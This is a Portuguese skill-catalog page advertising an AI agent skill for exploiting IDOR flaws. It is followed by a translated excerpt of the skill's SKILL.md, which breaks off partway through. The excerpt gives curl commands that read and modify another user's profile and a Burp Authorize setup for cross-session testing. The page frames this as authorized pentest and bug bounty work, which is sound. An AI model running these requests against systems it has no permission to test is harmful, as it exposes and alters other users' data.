Pular para o conteúdo
Skillpedia
Diversos35 mil · #5745

exploiting-idor-vulnerabilities

Faz seu agente identificar e explorar vulnerabilidades de Referência Direta Insegura (IDOR) manipulando identificadores de objetos.

O que ela faz

Esta ferramenta ajuda a encontrar e explorar falhas de segurança chamadas IDOR em aplicativos web e APIs. Ela verifica se um usuário pode acessar ou modificar dados de outro usuário sem permissão, alterando identificadores em URLs ou requisições.

Quando usar

  • ✓Ao testar a segurança de um site ou aplicativo com permissão.
  • ✓Quando um site usa números ou códigos fáceis de adivinhar em seus links.
  • ✓Para verificar se usuários só conseguem ver os próprios dados em sistemas compartilhados.

Exemplo do que pedir para a IA

“Verifique se consigo acessar o perfil do usuário 102 usando minha conta de usuário 101.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-idor-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-idor-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta usa um programa chamado Burp Suite para observar como o aplicativo se comunica. Ela tenta mudar os números de identificação em requisições para ver se consegue acessar informações de outras pessoas ou de administradores.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-idor-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-idor-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Vulnerabilidades IDOR

Quando Usar

  • Durante testes de penetração autorizados ao testar o controle de acesso em endpoints de recursos
  • Quando APIs ou páginas web usam identificadores previsíveis (IDs numéricos, UUIDs, slugs) em URLs ou corpos de requisição
  • Para validar que a autorização em nível de objeto é aplicada em todas as operações CRUD
  • Ao testar aplicações multi-tenant onde usuários devem acessar apenas seus próprios dados
  • Durante programas de bug bounty focados em vulnerabilidades de controle de acesso falho

Pré-requisitos

  • Autorização: Acordo escrito de teste de penetração para a aplicação alvo
  • Burp Suite Professional: Com a extensão Authorize instalada da BApp Store
  • Duas contas de teste: Pelo menos duas contas de usuário separadas com níveis de permissão diferentes
  • Extensão Burp Authorize: Para testes automatizados de IDOR entre sessões
  • curl/httpie: Para criação manual de requisições
  • Navegador: Configurado para usar o proxy do Burp Suite

Fluxo de Trabalho

Passo 1: Mapear Todas as Referências de Objetos na Aplicação

Identifique todos os endpoints que referenciam objetos por ID em toda a aplicação.

# Browse the application through Burp proxy with User A
# Review Burp Target > Site Map for endpoints with object references

# Common IDOR-prone endpoints to look for:
# GET /api/users/{id}
# GET /api/orders/{id}
# GET /api/invoices/{id}/download
# PUT /api/users/{id}/profile
# DELETE /api/posts/{id}
# GET /api/documents/{id}
# GET /api/messages/{conversation_id}

# Extract all endpoints with IDs from Burp proxy history
# Burp > Proxy > HTTP History > Filter by target domain
# Look for patterns: /resource/123, ?id=123, {"user_id": 123}

# Check different ID formats:
# Numeric sequential: /users/101, /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Base64 encoded: /users/MTAx (decodes to "101")
# Hashed: /users/5d41402abc4b2a76b9719d911017c592
# Slug: /users/john-doe

Passo 2: Configurar a Extensão Burp Authorize para Testes Automatizados

Configure a extensão Authorize para reproduzir automaticamente requisições com a sessão de outro usuário.

# Install Authorize from BApp Store:
# Burp > Extender > BApp Store > Search "Authorize" > Install

# Configuration:
# 1. Log in as User B (victim) in a separate browser/incognito
# 2. Copy User B's session cookie/authorization header
# 3. In Authorize tab > Configuration:
#    - Add User B's cookies in "Replace cookies" section
#    - Or add User B's Authorization header in "Replace headers"

# Example header replacement:
# Original (User A): Authorization: Bearer <token_A>
# Replace with (User B): Authorization: Bearer <token_B>

# 4. Enable "Intercept requests from Repeater"
# 5. Enable "Intercept requests from Proxy"

# Authorize will show:
# - Green: Properly restricted (different response for different user)
# - Red: Potentially vulnerable (same response regardless of user)
# - Orange: Uncertain (needs manual verification)

Passo 3: Testar IDOR Horizontal (Mesmo Nível de Privilégio)

Tente acessar recursos pertencentes a outro usuário no mesmo nível de privilégio.

# Authenticate as User A (ID: 101)
TOKEN_A="Bearer eyJ..."

# Get User A's own resources
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/101/profile" | jq .

# Attempt to access User B's resources (ID: 102) with User A's token
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/profile" | jq .

# Compare responses - if both return 200 with data, IDOR is confirmed

# Test across different resource types
for resource in profile orders invoices messages documents; do
  echo "--- Testing $resource ---"
  # User A's resource
  curl -s -o /dev/null -w "Own: %{http_code} " \
    -H "Authorization: $TOKEN_A" \
    "https://target.example.com/api/v1/users/101/$resource"
  # User B's resource
  curl -s -o /dev/null -w "Other: %{http_code}\n" \
    -H "Authorization: $TOKEN_A" \
    "https://target.example.com/api/v1/users/102/$resource"
done

# Test with POST/PUT/DELETE for write-based IDOR
curl -s -X PUT -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"name":"Hacked"}' \
  "https://target.example.com/api/v1/users/102/profile"

Passo 4: Testar IDOR Vertical (Entre Níveis de Privilégio)

Tente acessar recursos de administrador ou elevados com um token de usuário regular.

# Como usuário regular, tente acessar perfis de usuário administrador
curl -s -H "Authorization: $TOKEN_A" \

…
Perguntas frequentes

O que é IDOR?

IDOR significa 'Insecure Direct Object Reference' (Referência Direta Insegura a Objeto). É uma falha onde um aplicativo permite que um usuário acesse recursos (como dados ou arquivos) que não deveria, simplesmente alterando um identificador (como um número ou código) em uma requisição.

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter autorização explícita por escrito antes de testar qualquer aplicativo. Usar esta ferramenta sem permissão é ilegal e antiético.

Quais ferramentas são necessárias?

Você precisará do Burp Suite Professional com a extensão Authorize instalada, além de contas de teste com diferentes níveis de permissão e ferramentas como `curl` para fazer requisições manuais.

Detalhes

Descrição original do autor

Identifies and exploits Insecure Direct Object Reference (IDOR) vulnerabilities by manipulating object identifiers (numeric IDs, UUIDs, slugs) in API requests and URLs, using Burp Suite proxy history, Intruder, and the Authorize extension to test object-level authorization across sessions. Use during authorized penetration tests or bug bounty work to validate that CRUD endpoints and multi-tenant a

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5745
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas